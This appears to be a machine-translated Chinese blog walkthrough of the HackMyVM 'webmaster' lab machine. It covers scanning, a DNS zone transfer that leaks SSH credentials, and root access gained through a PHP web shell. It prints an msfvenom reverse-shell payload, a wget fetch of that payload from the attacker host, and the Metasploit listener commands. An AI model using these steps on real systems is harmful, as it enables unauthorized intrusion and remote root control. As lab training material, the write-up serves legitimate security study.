当前位置:网站首页>Hackmyvm target series (1) -webmaster
Hackmyvm target series (1) -webmaster
2022-07-06 14:03:00 【The moon should know my meaning】
One 、 information gathering
First use nmap Scan segments , Detect live hosts , Since there are many campus network hosts, I won't look for them one by one , Use grep Find the target host directly .
nmap -sP 192.168.200.0/24 | grep -i -B 2 virtualbox
Port scan the target host , Detect target open services
nmap -sT -T4 -sV -O -A -sC -p- 192.168.200.8Scan to three services ,ssh,dns,http

Visit , The discovery is a picture , It roughly means where you keep your password ?Bitwarden and Keepass Baidu is a password management tool . Remember the one below TXT, It's an important reminder .

Use dirsearch Scan the directory .
dirsearch -u http://192.168.200.8 -e php,html,txt,7z,zip,gz,db,bz2,bak -x 404,301,500-599 -t 30However, no useful information was found .

The picture above suggests txt, So try to use wfuzz Blow it up txt file
wfuzz -c --sc=200,302 -w /tools/dict/directory-list-2.3-medium.txt http://192.168.200.8/FUZZ.txtAnd use dirsearch equally , I haven't found any useful news

Then check the page source code , Find a webmaster.hmv, It looks like a domain name . So put it in host File parsing , But it's no use .

Two 、 Exploit
Think of just using nmap Scan to open dns service , Try to use dig Analyze it dns Record
dig axfr @192.168.200.8 webmaster.hmv
#@IP Address Appoint DNS The server 
It's very suspicious to find this thing , It looks like an account and password
john:MyhiddenpazzwordTry signing in ssh, Login successful


Get the first one flag
3、 ... and 、 Elevated privileges
Next is the right raising operation
sudo -lFind out nginx Can be started by any user , And you don't need to enter a password .
By looking at the process , Find out nginx In order to root Permission started .

Then check the root directory of the web page , Anyone who finds the root directory has the permission to delete and write files , Plus nginx In order to root Permission started , We can write shell, Visit this again shell Get permission .
First check the host information , yes 86 Bit

Use msf Create a Trojan
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.200.130 lport=5555 -f raw -o shell.php
Then use on the target machine wget Download the Trojan horse
wget http://192.168.200.130:7890/shell.php
Grant execution permission
chmod +x shell.php
stay msf Start listening on
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.200.130
set lport 5555kali Access Trojan files , because nginx yes root Permission to run , Visited shell.php When you file, you get root jurisdiction 
msf Receive session , Permission is root

Get the last one flag

边栏推荐
- 4. Branch statements and loop statements
- 7-15 h0161. Find the greatest common divisor and the least common multiple (PTA program design)
- 【MySQL数据库的学习】
- .Xmind文件如何上传金山文档共享在线编辑?
- 使用Spacedesk实现局域网内任意设备作为电脑拓展屏
- Experiment five categories and objects
- Attach the simplified sample database to the SQLSERVER database instance
- . Net6: develop modern 3D industrial software based on WPF (2)
- 7-8 7104 Joseph problem (PTA program design)
- Miscellaneous talk on May 27
猜你喜欢

How to understand the difference between technical thinking and business thinking in Bi?

Relationship between hashcode() and equals()

外网打点(信息收集)

Strengthen basic learning records

WEB漏洞-文件操作之文件包含漏洞

Write a program to simulate the traffic lights in real life.

Experiment 6 inheritance and polymorphism

.Xmind文件如何上传金山文档共享在线编辑?

HackMyvm靶机系列(7)-Tron

Using spacedesk to realize any device in the LAN as a computer expansion screen
随机推荐
记一次api接口SQL注入实战
1. Preliminary exercises of C language (1)
About the parental delegation mechanism and the process of class loading
Implementation of count (*) in MySQL
7-11 mechanic mustadio (PTA program design)
A piece of music composed by buzzer (Chengdu)
UGUI—Text
4. Branch statements and loop statements
附加简化版示例数据库到SqlServer数据库实例中
Middleware vulnerability recurrence Apache
Meituan dynamic thread pool practice ideas, open source
7-4 hash table search (PTA program design)
浅谈漏洞发现思路
String ABC = new string ("ABC"), how many objects are created
HackMyvm靶机系列(5)-warez
【VMware异常问题】问题分析&解决办法
HackMyvm靶机系列(3)-visions
7-9 make house number 3.0 (PTA program design)
强化学习基础记录
Intensive literature reading series (I): Courier routing and assignment for food delivery service using reinforcement learning